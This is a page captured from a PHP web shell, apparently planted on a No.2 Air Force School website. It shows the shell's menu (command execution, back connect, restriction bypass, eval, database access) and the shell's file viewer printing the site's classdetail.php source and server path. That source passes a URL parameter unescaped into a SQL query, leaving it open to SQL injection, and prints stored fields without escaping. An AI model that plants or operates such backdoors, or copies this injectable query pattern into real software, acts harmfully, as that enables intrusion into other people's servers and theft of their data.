File Manger -- Command Execute -- Back Connect -- BypasS Command eXecute(SF-DF) -- BypasS Directory -- Eval -- Data Base -- Server Information
File Name : /home/no2airforceschoo/domains/no2airforceschoolgwl.com/public_html/classdetail.php<?php include("admin/dlogin.php"); $classid=@$_GET['classid']; $str="select * from class where classid='$classid'"; $rs=mysqli_query($conn, $str); @$row=mysqli_fetch_array($rs); $classid=@$row['classid']; $classname=@$row['classname']; $classdescription=@$row['classdescription']; $classphoto=@$row['classphoto']; $teacher=@$row['teacher']; $classstudent=@$row['classstudent']; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <head><title><?php print $classname;?> Class No.2 Air Force School</title> <meta charset="UTF-8"> <meta name="description" content="<?php print $classname;?> Class No.2 Air Force School"> <meta name="keywords" content="<?php print $classname;?> Class No.2 Air Force School"> <link rel="stylesheet" id="style-css" href="images/style.css" type="text/css" media="screen" /> <script type="text/javascript" src="js/jquery1.min.js"></script> <!-- start menu --> <!--start slider --> <link rel="stylesheet" href="css/fwslider.css" media="all"> <script src="js/jquery-ui.min.js"></script> <script src="js/css3-mediaqueries.js"></script> <script src="js/fwslider.js"></script> </head> <body> <div> <div class="MainBody"> <div class="maindiv"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td><?php include ("header.php"); ?></td> </tr> <tr> <td><table width="100%" border="0" cellpadding="0" cellspacing="0" class="maintable" align="center"> <tr> <td align="center"><table width="100%" border="0" cellspacing="0" cellpadding="0" class="maintablebg"> <tr> <td valign="top"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="70%" valign="top"><table width="100%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td height="5"></td> </tr> <tr> <td class="welhead"><?php print $classname;?> Class</td> </tr> <tr> <td class="menu_down_line"></td> </tr> <tr><td height="10"></td></tr> <tr> <td><?php if(!empty($classphoto)){ ?> <img src="class/<?php print $classphoto;?>" width="100%" class="img1" /> <?php }?></td> </tr> <tr><td height="10"></td></tr> <tr> <td class="data"><?php print $classdescription;?> </td> </tr> <tr><td height="10"></td></tr> <tr> <td class="data"><table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="75%" align="left"><strong>Class Teacher:</strong> <?php print $teacher;?></td> <td width="25%" align="right"><strong>Student:</strong> <?php print $classstudent;?></td> </tr> </table></td> </tr> <tr><td height="10"></td></tr> </table></td> <td width="30%" align="center" valign="top"><table width="98%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td><?php include("rightsidebar.php")?></td> </tr> </table></td> </tr> </table></td> </tr> <tr> <td height="10" valign="top"></td> </tr> <tr> <td><?php include ("footer.php"); ?></td> </tr> </table></td> </tr> </table></td> </tr> <tr> <td height="10" valign="top"></td> </tr> </table> </div> </div> </body> </html>
Coded by Amin Shokohi (Pejvak)